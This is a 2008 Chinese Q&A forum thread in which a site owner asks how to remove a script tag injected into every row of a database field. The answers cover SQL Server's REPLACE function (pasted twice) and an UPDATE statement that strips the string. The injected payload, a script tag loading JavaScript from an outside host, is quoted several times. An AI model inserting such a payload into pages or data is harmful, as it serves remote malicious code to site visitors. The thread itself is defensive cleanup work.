[已解决问题] 网页被注入了,
提问时间: 2008-05-06 15:38
悬赏分：10 浏览:510 次
网页被注入了
数据库字段每一行值都加入了
</title</title></pre>><script src=http://sb.5252.ws:88/107/1.js></script><
如何删除,真是晕透了
最佳答案
将第一个字符串表达式中第二个给定字符串表达式的所有实例都替换为第三个表达式。
语法
REPLACE ( 'string_expression1' , 'string_expression2' , 'string_expression3' )
参数
' string_expression1 '
要搜索的字符串表达式。string_expression1 参数的数据类型可以是可隐式转换为 nvarchar 或 ntext 的数据类型。
' string_expression2 '
尝试查找的字符串表达式。string_expression2 参数的数据类型可以是可隐式转换为 nvarchar 或 ntext 的数据类型。
' string_expression3 '
替换字符串表达式。string_expression3 参数的数据类型可以是可隐式转换为 nvarchar 或 ntext 的数据类型。
返回值
nvarchar 或 ntext
如果任意参数为 NULL，则返回 NULL。
示例
下面的示例在产品名称列表中搜索名称“Anton”并将其替换为“Anthony”：
SELECT REPLACE(ProductName, 'Anton', 'Anthony')FROM Products
语法
REPLACE ( 'string_expression1' , 'string_expression2' , 'string_expression3' )
参数
' string_expression1 '
要搜索的字符串表达式。string_expression1 参数的数据类型可以是可隐式转换为 nvarchar 或 ntext 的数据类型。
' string_expression2 '
尝试查找的字符串表达式。string_expression2 参数的数据类型可以是可隐式转换为 nvarchar 或 ntext 的数据类型。
' string_expression3 '
替换字符串表达式。string_expression3 参数的数据类型可以是可隐式转换为 nvarchar 或 ntext 的数据类型。
返回值
nvarchar 或 ntext
如果任意参数为 NULL，则返回 NULL。
示例
下面的示例在产品名称列表中搜索名称“Anton”并将其替换为“Anthony”：
SELECT REPLACE(ProductName, 'Anton', 'Anthony')FROM Products
2008/5/6 15:53:01
回答者：wingoo
评论
|
2个月前 叶子绿了 : 可是上面的方法只能搜索出没有恶意代码的,并不能修改到数据库里面的记录 SELECT REPLACE(Title, '</title></pre>><script src=http://sb.5252.ws:88/107/1.js></script><', '') AS Expr1 FROM dbo.ztlArret |
|
|
2个月前 叶子绿了 : 求救... |
|
|
2个月前 叶子绿了 : 知道怎么改了,谢谢 |
|
|
2个月前 叶子绿了 : update 表 set 字段= REPLACE(Title, '</title></pre>><script src=http://sb.5252.ws:88/107/1.js></script><', '') |